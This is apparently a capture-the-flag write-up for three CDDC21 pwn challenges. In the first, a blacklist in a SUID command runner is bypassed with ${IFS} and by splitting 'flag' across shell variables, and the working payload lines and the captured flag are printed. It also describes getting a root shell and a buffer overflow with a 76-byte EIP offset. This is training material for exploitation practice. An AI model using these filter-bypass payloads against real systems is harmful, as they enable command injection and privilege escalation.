File It Away (Pwn)

Inject it Now

There is a gdc_exec binary on the server. It has SUID permissions and runs as root.

We can use the tail command to read the gdc_exec.c source code. Essentially, it runs system(argv[1]) with a few restrictions:

  1. strstr() checks for the substrings sh, cat, flag and tmp .

  2. Argument to gdc_exec cannot have spaces.

  3. Command will be run from the directory /tmp.

  4. The PATH is set to an invalid directory.

The ${IFS} value evaluates to a space character by default. Hence, ${IFS} can be used to replace spaces in the argument.

You can use export to change the PATH back to /bin.

/gdc_exec "export\${IFS}PATH='/bin'\${IFS}&&export"
export HOME='/root'
export HOSTNAME='a036d9204996'
export PATH='/bin'
export PWD='/'
export REMOTE_HOST='115.66.195.39'

Final payload, using string concatenation to bypass the strstr() check.

/gdc_exec "export\${IFS}PATH='/bin'\${IFS}&&cmd=\"tail\${IFS}fl\"&&cmd2=\"ag\"&&cmd3=\"\$cmd\$cmd2\"&&\$cmd3"
CDDC21{You_Wi11_n3ver_st0p_u$}

Length Matters

This is the same challenge, except gdc_exec now uses strncpy() to copy only the first 3 characters of argv[1] to the command to be executed. We could simply use sh to spawn a shell, then cat the flag from the elevated shell.

Change Direction

This is a classic buffer overflow challenge, with a win function at flag.

The win function is at 0x080484fd.

Using the msf-pattern_create cyclic payload, we can overflow the buffer and inspect the EIP value after the binary crashes.

Looks like the offset to overwrite the EIP is 76.

Using a solver script, we can then send the payload to the remote server and obtain the flag.

Last updated

Was this helpful?